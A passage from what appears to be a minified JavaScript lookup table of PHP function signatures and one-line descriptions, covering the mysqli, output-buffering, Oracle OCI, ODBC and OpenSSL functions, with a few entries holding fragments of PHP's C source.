result)\",\"Free query result memory for the given result handle\"],mysqli_get_charset:[\"object mysqli_get_charset(object link)\",\"returns a character set object\"],mysqli_get_client_info:[\"string mysqli_get_client_info(void)\",\"Get MySQL client info\"],mysqli_get_client_stats:[\"array mysqli_get_client_stats(void)\",\"Returns statistics about the zval cache\"],mysqli_get_client_version:[\"int mysqli_get_client_version(void)\",\"Get MySQL client info\"],mysqli_get_connection_stats:[\"array mysqli_get_connection_stats(void)\",\"Returns statistics about the zval cache\"],mysqli_get_host_info:[\"string mysqli_get_host_info (object link)\",\"Get MySQL host info\"],mysqli_get_proto_info:[\"int mysqli_get_proto_info(object link)\",\"Get MySQL protocol information\"],mysqli_get_server_info:[\"string mysqli_get_server_info(object link)\",\"Get MySQL server info\"],mysqli_get_server_version:[\"int mysqli_get_server_version(object link)\",\"Return the MySQL version for the server referenced by the given link\"],mysqli_get_warnings:[\"object mysqli_get_warnings(object link) */\",'PHP_FUNCTION(mysqli_get_warnings) {  MY_MYSQL   *mysql;  zval    *mysql_link;  MYSQLI_RESOURCE  *mysqli_resource;  MYSQLI_WARNING  *w;   if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC, getThis(), \"O\", &mysql_link, mysqli_link_class_entry) == FAILURE) {   return;  }  MYSQLI_FETCH_RESOURCE(mysql, MY_MYSQL*, &mysql_link, \"mysqli_link\", MYSQLI_STATUS_VALID);   if (mysql_warning_count(mysql->mysql)) {   w = php_get_warnings(mysql->mysql TSRMLS_CC);   } else {   RETURN_FALSE;  }  mysqli_resource = (MYSQLI_RESOURCE *)ecalloc (1, sizeof(MYSQLI_RESOURCE));  mysqli_resource->ptr = mysqli_resource->info = (void *)w;  mysqli_resource->status = MYSQLI_STATUS_VALID;  MYSQLI_RETURN_RESOURCE(mysqli_resource, mysqli_warning_class_entry);  } /* }}}'],mysqli_info:[\"string mysqli_info(object link)\",\"Get information about the most recent query\"],mysqli_init:[\"resource mysqli_init(void)\",\"Initialize mysqli and return a resource for use with mysql_real_connect\"],mysqli_insert_id:[\"mixed mysqli_insert_id(object link)\",\"Get the ID generated from the previous INSERT operation\"],mysqli_kill:[\"bool mysqli_kill(object link, int processid)\",\"Kill a mysql process on the server\"],mysqli_link_construct:[\"object mysqli_link_construct()\",\"\"],mysqli_more_results:[\"bool mysqli_more_results(object link)\",\"check if there any more query results from a multi query\"],mysqli_multi_query:[\"bool mysqli_multi_query(object link, string query)\",\"allows to execute multiple queries\"],mysqli_next_result:[\"bool mysqli_next_result(object link)\",\"read next result from multi_query\"],mysqli_num_fields:[\"int mysqli_num_fields(object result)\",\"Get number of fields in result\"],mysqli_num_rows:[\"mixed mysqli_num_rows(object result)\",\"Get number of rows in result\"],mysqli_options:[\"bool mysqli_options(object link, int flags, mixed values)\",\"Set options\"],mysqli_ping:[\"bool mysqli_ping(object link)\",\"Ping a server connection or reconnect if there is no connection\"],mysqli_poll:[\"int mysqli_poll(array read, array write, array error, long sec [, long usec])\",\"Poll connections\"],mysqli_prepare:[\"mixed mysqli_prepare(object link, string query)\",\"Prepare a SQL statement for execution\"],mysqli_query:[\"mixed mysqli_query(object link, string query [,int resultmode]) */\",'PHP_FUNCTION(mysqli_query) {  MY_MYSQL   *mysql;  zval    *mysql_link;  MYSQLI_RESOURCE  *mysqli_resource;  MYSQL_RES    *result;  char    *query = NULL;  unsigned int   query_len;  unsigned long   resultmode = MYSQLI_STORE_RESULT;   if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC, getThis(), \"Os|l\", &mysql_link, mysqli_link_class_entry, &query, &query_len, &resultmode) == FAILURE) {   return;  }   if (!query_len) {   php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Empty query\");   RETURN_FALSE;  }  if ((resultmode & ~MYSQLI_ASYNC) != MYSQLI_USE_RESULT && (resultmode & ~MYSQLI_ASYNC) != MYSQLI_STORE_RESULT) {   php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Invalid value for resultmode\");   RETURN_FALSE;  }   MYSQLI_FETCH_RESOURCE(mysql, MY_MYSQL*, &mysql_link, \"mysqli_link\", MYSQLI_STATUS_VALID);   MYSQLI_DISABLE_MQ;   #ifdef MYSQLI_USE_MYSQLND  if (resultmode & MYSQLI_ASYNC) {   if (mysqli_async_query(mysql->mysql, query, query_len)) {    MYSQLI_REPORT_MYSQL_ERROR(mysql->mysql);    RETURN_FALSE;   }   mysql->async_result_fetch_type = resultmode & ~MYSQLI_ASYNC;   RETURN_TRUE;  } #endif   if (mysql_real_query(mysql->mysql, query, query_len)) {   MYSQLI_REPORT_MYSQL_ERROR(mysql->mysql);   RETURN_FALSE;  }   if (!mysql_field_count(mysql->mysql)) {   /* no result set - not a SELECT'],mysqli_real_connect:[\"bool mysqli_real_connect(object link [,string hostname [,string username [,string passwd [,string dbname [,int port [,string socket [,int flags]]]]]]])\",\"Open a connection to a mysql server\"],mysqli_real_escape_string:[\"string mysqli_real_escape_string(object link, string escapestr)\",\"Escapes special characters in a string for use in a SQL statement, taking into account the current charset of the connection\"],mysqli_real_query:[\"bool mysqli_real_query(object link, string query)\",\"Binary-safe version of mysql_query()\"],mysqli_reap_async_query:[\"int mysqli_reap_async_query(object link)\",\"Poll connections\"],mysqli_refresh:[\"bool mysqli_refresh(object link, long options)\",\"Flush tables or caches, or reset replication server information\"],mysqli_report:[\"bool mysqli_report(int flags)\",\"sets report level\"],mysqli_rollback:[\"bool mysqli_rollback(object link)\",\"Undo actions from current transaction\"],mysqli_select_db:[\"bool mysqli_select_db(object link, string dbname)\",\"Select a MySQL database\"],mysqli_set_charset:[\"bool mysqli_set_charset(object link, string csname)\",\"sets client character set\"],mysqli_set_local_infile_default:[\"void mysqli_set_local_infile_default(object link)\",\"unsets user defined handler for load local infile command\"],mysqli_set_local_infile_handler:[\"bool mysqli_set_local_infile_handler(object link, callback read_func)\",\"Set callback functions for LOAD DATA LOCAL INFILE\"],mysqli_sqlstate:[\"string mysqli_sqlstate(object link)\",\"Returns the SQLSTATE error from previous MySQL operation\"],mysqli_ssl_set:[\"bool mysqli_ssl_set(object link ,string key ,string cert ,string ca ,string capath ,string cipher])\",\"\"],mysqli_stat:[\"mixed mysqli_stat(object link)\",\"Get current system status\"],mysqli_stmt_affected_rows:[\"mixed mysqli_stmt_affected_rows(object stmt)\",\"Return the number of rows affected in the last query for the given link\"],mysqli_stmt_attr_get:[\"int mysqli_stmt_attr_get(object stmt, long attr)\",\"\"],mysqli_stmt_attr_set:[\"int mysqli_stmt_attr_set(object stmt, long attr, long mode)\",\"\"],mysqli_stmt_bind_param:[\"bool mysqli_stmt_bind_param(object stmt, string types, mixed variable [,mixed,....])\",\"Bind variables to a prepared statement as parameters\"],mysqli_stmt_bind_result:[\"bool mysqli_stmt_bind_result(object stmt, mixed var, [,mixed, ...])\",\"Bind variables to a prepared statement for result storage\"],mysqli_stmt_close:[\"bool mysqli_stmt_close(object stmt)\",\"Close statement\"],mysqli_stmt_data_seek:[\"void mysqli_stmt_data_seek(object stmt, int offset)\",\"Move internal result pointer\"],mysqli_stmt_errno:[\"int mysqli_stmt_errno(object stmt)\",\"\"],mysqli_stmt_error:[\"string mysqli_stmt_error(object stmt)\",\"\"],mysqli_stmt_execute:[\"bool mysqli_stmt_execute(object stmt)\",\"Execute a prepared statement\"],mysqli_stmt_fetch:[\"mixed mysqli_stmt_fetch(object stmt)\",\"Fetch results from a prepared statement into the bound variables\"],mysqli_stmt_field_count:[\"int mysqli_stmt_field_count(object stmt) {\",\"Return the number of result columns for the given statement\"],mysqli_stmt_free_result:[\"void mysqli_stmt_free_result(object stmt)\",\"Free stored result memory for the given statement handle\"],mysqli_stmt_get_result:[\"object mysqli_stmt_get_result(object link)\",\"Buffer result set on client\"],mysqli_stmt_get_warnings:[\"object mysqli_stmt_get_warnings(object link) */\",'PHP_FUNCTION(mysqli_stmt_get_warnings) {  MY_STMT    *stmt;  zval    *stmt_link;  MYSQLI_RESOURCE  *mysqli_resource;  MYSQLI_WARNING  *w;   if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC, getThis(), \"O\", &stmt_link, mysqli_stmt_class_entry) == FAILURE) {   return;  }  MYSQLI_FETCH_RESOURCE(stmt, MY_STMT*, &stmt_link, \"mysqli_stmt\", MYSQLI_STATUS_VALID);   if (mysqli_stmt_warning_count(stmt->stmt)) {   w = php_get_warnings(mysqli_stmt_get_connection(stmt->stmt) TSRMLS_CC);   } else {   RETURN_FALSE;  }  mysqli_resource = (MYSQLI_RESOURCE *)ecalloc (1, sizeof(MYSQLI_RESOURCE));  mysqli_resource->ptr = mysqli_resource->info = (void *)w;  mysqli_resource->status = MYSQLI_STATUS_VALID;  MYSQLI_RETURN_RESOURCE(mysqli_resource, mysqli_warning_class_entry); } /* }}}'],mysqli_stmt_init:[\"mixed mysqli_stmt_init(object link)\",\"Initialize statement object\"],mysqli_stmt_insert_id:[\"mixed mysqli_stmt_insert_id(object stmt)\",\"Get the ID generated from the previous INSERT operation\"],mysqli_stmt_next_result:[\"bool mysqli_stmt_next_result(object link)\",\"read next result from multi_query\"],mysqli_stmt_num_rows:[\"mixed mysqli_stmt_num_rows(object stmt)\",\"Return the number of rows in statements result set\"],mysqli_stmt_param_count:[\"int mysqli_stmt_param_count(object stmt)\",\"Return the number of parameter for the given statement\"],mysqli_stmt_prepare:[\"bool mysqli_stmt_prepare(object stmt, string query)\",\"prepare server side statement with query\"],mysqli_stmt_reset:[\"bool mysqli_stmt_reset(object stmt)\",\"reset a prepared statement\"],mysqli_stmt_result_metadata:[\"mixed mysqli_stmt_result_metadata(object stmt)\",\"return result set from statement\"],mysqli_stmt_send_long_data:[\"bool mysqli_stmt_send_long_data(object stmt, int param_nr, string data)\",\"\"],mysqli_stmt_sqlstate:[\"string mysqli_stmt_sqlstate(object stmt)\",\"\"],mysqli_stmt_store_result:[\"bool mysqli_stmt_store_result(stmt)\",\"\"],mysqli_store_result:[\"object mysqli_store_result(object link)\",\"Buffer result set on client\"],mysqli_thread_id:[\"int mysqli_thread_id(object link)\",\"Return the current thread ID\"],mysqli_thread_safe:[\"bool mysqli_thread_safe(void)\",\"Return whether thread safety is given or not\"],mysqli_use_result:[\"mixed mysqli_use_result(object link)\",\"Directly retrieve query results - do not buffer results on client side\"],mysqli_warning_count:[\"int mysqli_warning_count (object link)\",\"Return number of warnings from the last query for the given link\"],natcasesort:[\"void natcasesort(array &array_arg)\",\"Sort an array using case-insensitive natural sort\"],natsort:[\"void natsort(array &array_arg)\",\"Sort an array using natural sort\"],next:[\"mixed next(array array_arg)\",\"Move array argument's internal pointer to the next element and return it\"],ngettext:[\"string ngettext(string MSGID1, string MSGID2, int N)\",\"Plural version of gettext()\"],nl2br:[\"string nl2br(string str [, bool is_xhtml])\",\"Converts newlines to HTML line breaks\"],nl_langinfo:[\"string nl_langinfo(int item)\",\"Query language and locale information\"],normalizer_is_normalize:[\"bool normalizer_is_normalize( string $input [, string $form = FORM_C] )\",\"* Test if a string is in a given normalization form.\"],normalizer_normalize:[\"string normalizer_normalize( string $input [, string $form = FORM_C] )\",\"* Normalize a string.\"],nsapi_request_headers:[\"array nsapi_request_headers(void)\",\"Get all headers from the request\"],nsapi_response_headers:[\"array nsapi_response_headers(void)\",\"Get all headers from the response\"],nsapi_virtual:[\"bool nsapi_virtual(string uri)\",\"Perform an NSAPI sub-request\"],number_format:[\"string number_format(float number [, int num_decimal_places [, string dec_seperator, string thousands_seperator]])\",\"Formats a number with grouped thousands\"],numfmt_create:[\"NumberFormatter numfmt_create( string $locale, int style[, string $pattern ] )\",\"* Create number formatter.\"],numfmt_format:[\"mixed numfmt_format( NumberFormatter $nf, mixed $num[, int type] )\",\"* Format a number.\"],numfmt_format_currency:[\"mixed numfmt_format_currency( NumberFormatter $nf, double $num, string $currency )\",\"* Format a number as currency.\"],numfmt_get_attribute:[\"mixed numfmt_get_attribute( NumberFormatter $nf, int $attr )\",\"* Get formatter attribute value.\"],numfmt_get_error_code:[\"int numfmt_get_error_code( NumberFormatter $nf )\",\"* Get formatter's last error code.\"],numfmt_get_error_message:[\"string numfmt_get_error_message( NumberFormatter $nf )\",\"* Get text description for formatter's last error code.\"],numfmt_get_locale:[\"string numfmt_get_locale( NumberFormatter $nf[, int type] )\",\"* Get formatter locale.\"],numfmt_get_pattern:[\"string numfmt_get_pattern( NumberFormatter $nf )\",\"* Get formatter pattern.\"],numfmt_get_symbol:[\"string numfmt_get_symbol( NumberFormatter $nf, int $attr )\",\"* Get formatter symbol value.\"],numfmt_get_text_attribute:[\"string numfmt_get_text_attribute( NumberFormatter $nf, int $attr )\",\"* Get formatter attribute value.\"],numfmt_parse:[\"mixed numfmt_parse( NumberFormatter $nf, string $str[, int $type, int &$position ])\",\"* Parse a number.\"],numfmt_parse_currency:[\"double numfmt_parse_currency( NumberFormatter $nf, string $str, string $&currency[, int $&position] )\",\"* Parse a number as currency.\"],numfmt_parse_message:[\"array numfmt_parse_message( string $locale, string $pattern, string $source )\",\"* Parse a message.\"],numfmt_set_attribute:[\"bool numfmt_set_attribute( NumberFormatter $nf, int $attr, mixed $value )\",\"* Get formatter attribute value.\"],numfmt_set_pattern:[\"bool numfmt_set_pattern( NumberFormatter $nf, string $pattern )\",\"* Set formatter pattern.\"],numfmt_set_symbol:[\"bool numfmt_set_symbol( NumberFormatter $nf, int $attr, string $symbol )\",\"* Set formatter symbol value.\"],numfmt_set_text_attribute:[\"bool numfmt_set_text_attribute( NumberFormatter $nf, int $attr, string $value )\",\"* Get formatter attribute value.\"],ob_clean:[\"bool ob_clean(void)\",\"Clean (delete) the current output buffer\"],ob_end_clean:[\"bool ob_end_clean(void)\",\"Clean the output buffer, and delete current output buffer\"],ob_end_flush:[\"bool ob_end_flush(void)\",\"Flush (send) the output buffer, and delete current output buffer\"],ob_flush:[\"bool ob_flush(void)\",\"Flush (send) contents of the output buffer. The last buffer content is sent to next buffer\"],ob_get_clean:[\"bool ob_get_clean(void)\",\"Get current buffer contents and delete current output buffer\"],ob_get_contents:[\"string ob_get_contents(void)\",\"Return the contents of the output buffer\"],ob_get_flush:[\"bool ob_get_flush(void)\",\"Get current buffer contents, flush (send) the output buffer, and delete current output buffer\"],ob_get_length:[\"int ob_get_length(void)\",\"Return the length of the output buffer\"],ob_get_level:[\"int ob_get_level(void)\",\"Return the nesting level of the output buffer\"],ob_get_status:[\"false|array ob_get_status([bool full_status])\",\"Return the status of the active or all output buffers\"],ob_gzhandler:[\"string ob_gzhandler(string str, int mode)\",\"Encode str based on accept-encoding setting - designed to be called from ob_start()\"],ob_iconv_handler:[\"string ob_iconv_handler(string contents, int status)\",\"Returns str in output buffer converted to the iconv.output_encoding character set\"],ob_implicit_flush:[\"void ob_implicit_flush([int flag])\",\"Turn implicit flush on/off and is equivalent to calling flush() after every output call\"],ob_list_handlers:[\"false|array ob_list_handlers()\",\"*  List all output_buffers in an array\"],ob_start:[\"bool ob_start([ string|array user_function [, int chunk_size [, bool erase]]])\",\"Turn on Output Buffering (specifying an optional output handler).\"],oci_bind_array_by_name:[\"bool oci_bind_array_by_name(resource stmt, string name, array &var, int max_table_length [, int max_item_length [, int type ]])\",\"Bind a PHP array to an Oracle PL/SQL type by name\"],oci_bind_by_name:[\"bool oci_bind_by_name(resource stmt, string name, mixed &var, [, int maxlength [, int type]])\",\"Bind a PHP variable to an Oracle placeholder by name\"],oci_cancel:[\"bool oci_cancel(resource stmt)\",\"Cancel reading from a cursor\"],oci_close:[\"bool oci_close(resource connection)\",\"Disconnect from database\"],oci_collection_append:[\"bool oci_collection_append(string value)\",\"Append an object to the collection\"],oci_collection_assign:[\"bool oci_collection_assign(object from)\",\"Assign a collection from another existing collection\"],oci_collection_element_assign:[\"bool oci_collection_element_assign(int index, string val)\",\"Assign element val to collection at index ndx\"],oci_collection_element_get:[\"string oci_collection_element_get(int ndx)\",\"Retrieve the value at collection index ndx\"],oci_collection_max:[\"int oci_collection_max()\",\"Return the max value of a collection. For a varray this is the maximum length of the array\"],oci_collection_size:[\"int oci_collection_size()\",\"Return the size of a collection\"],oci_collection_trim:[\"bool oci_collection_trim(int num)\",\"Trim num elements from the end of a collection\"],oci_commit:[\"bool oci_commit(resource connection)\",\"Commit the current context\"],oci_connect:[\"resource oci_connect(string user, string pass [, string db [, string charset [, int session_mode ]])\",\"Connect to an Oracle database and log on. Returns a new session.\"],oci_define_by_name:[\"bool oci_define_by_name(resource stmt, string name, mixed &var [, int type])\",\"Define a PHP variable to an Oracle column by name\"],oci_error:[\"array oci_error([resource stmt|connection|global])\",\"Return the last error of stmt|connection|global. If no error happened returns false.\"],oci_execute:[\"bool oci_execute(resource stmt [, int mode])\",\"Execute a parsed statement\"],oci_fetch:[\"bool oci_fetch(resource stmt)\",\"Prepare a new row of data for reading\"],oci_fetch_all:[\"int oci_fetch_all(resource stmt, array &output[, int skip[, int maxrows[, int flags]]])\",\"Fetch all rows of result data into an array\"],oci_fetch_array:[\"array oci_fetch_array( resource stmt [, int mode ])\",\"Fetch a result row as an array\"],oci_fetch_assoc:[\"array oci_fetch_assoc( resource stmt )\",\"Fetch a result row as an associative array\"],oci_fetch_object:[\"object oci_fetch_object( resource stmt )\",\"Fetch a result row as an object\"],oci_fetch_row:[\"array oci_fetch_row( resource stmt )\",\"Fetch a result row as an enumerated array\"],oci_field_is_null:[\"bool oci_field_is_null(resource stmt, int col)\",\"Tell whether a column is NULL\"],oci_field_name:[\"string oci_field_name(resource stmt, int col)\",\"Tell the name of a column\"],oci_field_precision:[\"int oci_field_precision(resource stmt, int col)\",\"Tell the precision of a column\"],oci_field_scale:[\"int oci_field_scale(resource stmt, int col)\",\"Tell the scale of a column\"],oci_field_size:[\"int oci_field_size(resource stmt, int col)\",\"Tell the maximum data size of a column\"],oci_field_type:[\"mixed oci_field_type(resource stmt, int col)\",\"Tell the data type of a column\"],oci_field_type_raw:[\"int oci_field_type_raw(resource stmt, int col)\",\"Tell the raw oracle data type of a column\"],oci_free_collection:[\"bool oci_free_collection()\",\"Deletes collection object\"],oci_free_descriptor:[\"bool oci_free_descriptor()\",\"Deletes large object description\"],oci_free_statement:[\"bool oci_free_statement(resource stmt)\",\"Free all resources associated with a statement\"],oci_internal_debug:[\"void oci_internal_debug(int onoff)\",\"Toggle internal debugging output for the OCI extension\"],oci_lob_append:[\"bool oci_lob_append( object lob )\",\"Appends data from a LOB to another LOB\"],oci_lob_close:[\"bool oci_lob_close()\",\"Closes lob descriptor\"],oci_lob_copy:[\"bool oci_lob_copy( object lob_to, object lob_from [, int length ] )\",\"Copies data from a LOB to another LOB\"],oci_lob_eof:[\"bool oci_lob_eof()\",\"Checks if EOF is reached\"],oci_lob_erase:[\"int oci_lob_erase( [ int offset [, int length ] ] )\",\"Erases a specified portion of the internal LOB, starting at a specified offset\"],oci_lob_export:[\"bool oci_lob_export([string filename [, int start [, int length]]])\",\"Writes a large object into a file\"],oci_lob_flush:[\"bool oci_lob_flush( [ int flag ] )\",\"Flushes the LOB buffer\"],oci_lob_import:[\"bool oci_lob_import( string filename )\",\"Loads file into a LOB\"],oci_lob_is_equal:[\"bool oci_lob_is_equal( object lob1, object lob2 )\",\"Tests to see if two LOB/FILE locators are equal\"],oci_lob_load:[\"string oci_lob_load()\",\"Loads a large object\"],oci_lob_read:[\"string oci_lob_read( int length )\",\"Reads particular part of a large object\"],oci_lob_rewind:[\"bool oci_lob_rewind()\",\"Rewind pointer of a LOB\"],oci_lob_save:[\"bool oci_lob_save( string data [, int offset ])\",\"Saves a large object\"],oci_lob_seek:[\"bool oci_lob_seek( int offset [, int whence ])\",\"Moves the pointer of a LOB\"],oci_lob_size:[\"int oci_lob_size()\",\"Returns size of a large object\"],oci_lob_tell:[\"int oci_lob_tell()\",\"Tells LOB pointer position\"],oci_lob_truncate:[\"bool oci_lob_truncate( [ int length ])\",\"Truncates a LOB\"],oci_lob_write:[\"int oci_lob_write( string string [, int length ])\",\"Writes data to current position of a LOB\"],oci_lob_write_temporary:[\"bool oci_lob_write_temporary(string var [, int lob_type])\",\"Writes temporary blob\"],oci_new_collection:[\"object oci_new_collection(resource connection, string tdo [, string schema])\",\"Initialize a new collection\"],oci_new_connect:[\"resource oci_new_connect(string user, string pass [, string db])\",\"Connect to an Oracle database and log on. Returns a new session.\"],oci_new_cursor:[\"resource oci_new_cursor(resource connection)\",\"Return a new cursor (Statement-Handle) - use this to bind ref-cursors!\"],oci_new_descriptor:[\"object oci_new_descriptor(resource connection [, int type])\",\"Initialize a new empty descriptor LOB/FILE (LOB is default)\"],oci_num_fields:[\"int oci_num_fields(resource stmt)\",\"Return the number of result columns in a statement\"],oci_num_rows:[\"int oci_num_rows(resource stmt)\",\"Return the row count of an OCI statement\"],oci_parse:[\"resource oci_parse(resource connection, string query)\",\"Parse a query and return a statement\"],oci_password_change:[\"bool oci_password_change(resource connection, string username, string old_password, string new_password)\",\"Changes the password of an account\"],oci_pconnect:[\"resource oci_pconnect(string user, string pass [, string db [, string charset ]])\",\"Connect to an Oracle database using a persistent connection and log on. Returns a new session.\"],oci_result:[\"string oci_result(resource stmt, mixed column)\",\"Return a single column of result data\"],oci_rollback:[\"bool oci_rollback(resource connection)\",\"Rollback the current context\"],oci_server_version:[\"string oci_server_version(resource connection)\",\"Return a string containing server version information\"],oci_set_action:[\"bool oci_set_action(resource connection, string value)\",\"Sets the action attribute on the connection\"],oci_set_client_identifier:[\"bool oci_set_client_identifier(resource connection, string value)\",\"Sets the client identifier attribute on the connection\"],oci_set_client_info:[\"bool oci_set_client_info(resource connection, string value)\",\"Sets the client info attribute on the connection\"],oci_set_edition:[\"bool oci_set_edition(string value)\",\"Sets the edition attribute for all subsequent connections created\"],oci_set_module_name:[\"bool oci_set_module_name(resource connection, string value)\",\"Sets the module attribute on the connection\"],oci_set_prefetch:[\"bool oci_set_prefetch(resource stmt, int prefetch_rows)\",\"Sets the number of rows to be prefetched on execute to prefetch_rows for stmt\"],oci_statement_type:[\"string oci_statement_type(resource stmt)\",\"Return the query type of an OCI statement\"],ocifetchinto:[\"int ocifetchinto(resource stmt, array &output [, int mode])\",\"Fetch a row of result data into an array\"],ocigetbufferinglob:[\"bool ocigetbufferinglob()\",\"Returns current state of buffering for a LOB\"],ocisetbufferinglob:[\"bool ocisetbufferinglob( boolean flag )\",\"Enables/disables buffering for a LOB\"],octdec:[\"int octdec(string octal_number)\",\"Returns the decimal equivalent of an octal string\"],odbc_autocommit:[\"mixed odbc_autocommit(resource connection_id [, int OnOff])\",\"Toggle autocommit mode or get status\"],odbc_binmode:[\"bool odbc_binmode(int result_id, int mode)\",\"Handle binary column data\"],odbc_close:[\"void odbc_close(resource connection_id)\",\"Close an ODBC connection\"],odbc_close_all:[\"void odbc_close_all(void)\",\"Close all ODBC connections\"],odbc_columnprivileges:[\"resource odbc_columnprivileges(resource connection_id, string catalog, string schema, string table, string column)\",\"Returns a result identifier that can be used to fetch a list of columns and associated privileges for the specified table\"],odbc_columns:[\"resource odbc_columns(resource connection_id [, string qualifier [, string owner [, string table_name [, string column_name]]]])\",\"Returns a result identifier that can be used to fetch a list of column names in specified tables\"],odbc_commit:[\"bool odbc_commit(resource connection_id)\",\"Commit an ODBC transaction\"],odbc_connect:[\"resource odbc_connect(string DSN, string user, string password [, int cursor_option])\",\"Connect to a datasource\"],odbc_cursor:[\"string odbc_cursor(resource result_id)\",\"Get cursor name\"],odbc_data_source:[\"array odbc_data_source(resource connection_id, int fetch_type)\",\"Return information about the currently connected data source\"],odbc_error:[\"string odbc_error([resource connection_id])\",\"Get the last error code\"],odbc_errormsg:[\"string odbc_errormsg([resource connection_id])\",\"Get the last error message\"],odbc_exec:[\"resource odbc_exec(resource connection_id, string query [, int flags])\",\"Prepare and execute an SQL statement\"],odbc_execute:[\"bool odbc_execute(resource result_id [, array parameters_array])\",\"Execute a prepared statement\"],odbc_fetch_array:[\"array odbc_fetch_array(int result [, int rownumber])\",\"Fetch a result row as an associative array\"],odbc_fetch_into:[\"int odbc_fetch_into(resource result_id, array &result_array, [, int rownumber])\",\"Fetch one result row into an array\"],odbc_fetch_object:[\"object odbc_fetch_object(int result [, int rownumber])\",\"Fetch a result row as an object\"],odbc_fetch_row:[\"bool odbc_fetch_row(resource result_id [, int row_number])\",\"Fetch a row\"],odbc_field_len:[\"int odbc_field_len(resource result_id, int field_number)\",\"Get the length (precision) of a column\"],odbc_field_name:[\"string odbc_field_name(resource result_id, int field_number)\",\"Get a column name\"],odbc_field_num:[\"int odbc_field_num(resource result_id, string field_name)\",\"Return column number\"],odbc_field_scale:[\"int odbc_field_scale(resource result_id, int field_number)\",\"Get the scale of a column\"],odbc_field_type:[\"string odbc_field_type(resource result_id, int field_number)\",\"Get the datatype of a column\"],odbc_foreignkeys:[\"resource odbc_foreignkeys(resource connection_id, string pk_qualifier, string pk_owner, string pk_table, string fk_qualifier, string fk_owner, string fk_table)\",\"Returns a result identifier to either a list of foreign keys in the specified table or a list of foreign keys in other tables that refer to the primary key in the specified table\"],odbc_free_result:[\"bool odbc_free_result(resource result_id)\",\"Free resources associated with a result\"],odbc_gettypeinfo:[\"resource odbc_gettypeinfo(resource connection_id [, int data_type])\",\"Returns a result identifier containing information about data types supported by the data source\"],odbc_longreadlen:[\"bool odbc_longreadlen(int result_id, int length)\",\"Handle LONG columns\"],odbc_next_result:[\"bool odbc_next_result(resource result_id)\",\"Checks if multiple results are avaiable\"],odbc_num_fields:[\"int odbc_num_fields(resource result_id)\",\"Get number of columns in a result\"],odbc_num_rows:[\"int odbc_num_rows(resource result_id)\",\"Get number of rows in a result\"],odbc_pconnect:[\"resource odbc_pconnect(string DSN, string user, string password [, int cursor_option])\",\"Establish a persistent connection to a datasource\"],odbc_prepare:[\"resource odbc_prepare(resource connection_id, string query)\",\"Prepares a statement for execution\"],odbc_primarykeys:[\"resource odbc_primarykeys(resource connection_id, string qualifier, string owner, string table)\",\"Returns a result identifier listing the column names that comprise the primary key for a table\"],odbc_procedurecolumns:[\"resource odbc_procedurecolumns(resource connection_id [, string qualifier, string owner, string proc, string column])\",\"Returns a result identifier containing the list of input and output parameters, as well as the columns that make up the result set for the specified procedures\"],odbc_procedures:[\"resource odbc_procedures(resource connection_id [, string qualifier, string owner, string name])\",\"Returns a result identifier containg the list of procedure names in a datasource\"],odbc_result:[\"mixed odbc_result(resource result_id, mixed field)\",\"Get result data\"],odbc_result_all:[\"int odbc_result_all(resource result_id [, string format])\",\"Print result as HTML table\"],odbc_rollback:[\"bool odbc_rollback(resource connection_id)\",\"Rollback a transaction\"],odbc_setoption:[\"bool odbc_setoption(resource conn_id|result_id, int which, int option, int value)\",\"Sets connection or statement options\"],odbc_specialcolumns:[\"resource odbc_specialcolumns(resource connection_id, int type, string qualifier, string owner, string table, int scope, int nullable)\",\"Returns a result identifier containing either the optimal set of columns that uniquely identifies a row in the table or columns that are automatically updated when any value in the row is updated by a transaction\"],odbc_statistics:[\"resource odbc_statistics(resource connection_id, string qualifier, string owner, string name, int unique, int accuracy)\",\"Returns a result identifier that contains statistics about a single table and the indexes associated with the table\"],odbc_tableprivileges:[\"resource odbc_tableprivileges(resource connection_id, string qualifier, string owner, string name)\",\"Returns a result identifier containing a list of tables and the privileges associated with each table\"],odbc_tables:[\"resource odbc_tables(resource connection_id [, string qualifier [, string owner [, string name [, string table_types]]]])\",\"Call the SQLTables function\"],opendir:[\"mixed opendir(string path[, resource context])\",\"Open a directory and return a dir_handle\"],openlog:[\"bool openlog(string ident, int option, int facility)\",\"Open connection to system logger\"],openssl_csr_export:[\"bool openssl_csr_export(resource csr, string &out [, bool notext=true])\",\"Exports a CSR to file or a var\"],openssl_csr_export_to_file:[\"bool openssl_csr_export_to_file(resource csr, string outfilename [, bool notext=true])\",\"Exports a CSR to file\"],openssl_csr_get_public_key:[\"mixed openssl_csr_get_public_key(mixed csr)\",\"Returns the subject of a CERT or FALSE on error\"],openssl_csr_get_subject:[\"mixed openssl_csr_get_subject(mixed csr)\",\"Returns the subject of a CERT or FALSE on error\"],openssl_csr_new:[\"bool openssl_csr_new(array dn, resource &privkey [, array configargs [, array extraattribs]])\",\"Generates a privkey and CSR\"],openssl_csr_sign:[\"resource openssl_csr_sign(mixed csr, mixed x509, mixed priv_key, long days [, array config_args [, long serial]])\",\"Signs a cert with another CERT\"],openssl_decrypt:[\"string openssl_decrypt(string data, string method, string password [, bool raw_input=false])\",\"Takes raw or base64 encoded string and dectupt it using given method and key\"],openssl_dh_compute_key:[\"string openssl_dh_compute_key(string pub_key, resource dh_key)\",\"Computes shared sicret for public value of remote DH key and local DH key\"],openssl_digest:[\"string openssl_digest(string data, string method [, bool raw_output=false])\",\"Computes digest hash value for given data using given method, returns raw or binhex encoded string\"],openssl_encrypt:[\"string openssl_encrypt(string data, string method, string password [, bool raw_output=false])\",\"Encrypts given data with given method and key, returns raw or base64 encoded string\"],openssl_error_string:[\"mixed openssl_error_string(void)\",\"Returns a description of the last error, and alters the index of the error messages. Returns false when the are no more messages\"],openssl_get_cipher_methods:[\"array openssl_get_cipher_methods([bool aliases = false])\",\"Return array of available cipher methods\"],openssl_get_md_methods:[\"array openssl_get_md_methods([bool aliases = false])\",\"Return array of available digest methods\"],openssl_open:[\"bool openssl_open(string data, &string opendata, string ekey, mixed privkey)\",\"Opens data\"],openssl_pkcs12_export:[\"bool openssl_pkcs12_export(mixed x509, string &out, mixed priv_key, string pass[, array args])\",\"Creates and exports a PKCS12 to a var\"],openssl_pkcs12_export_to_file:[\"bool openssl_pkcs12_export_to_file(mixed x509, string filename, mixed priv_key, string pass[, array args])\",\"Creates and exports a PKCS to file\"],openssl_pkcs12_read:[\"bool openssl_pkcs12_read(string PKCS12, array &certs, string pass)\",\"Parses a 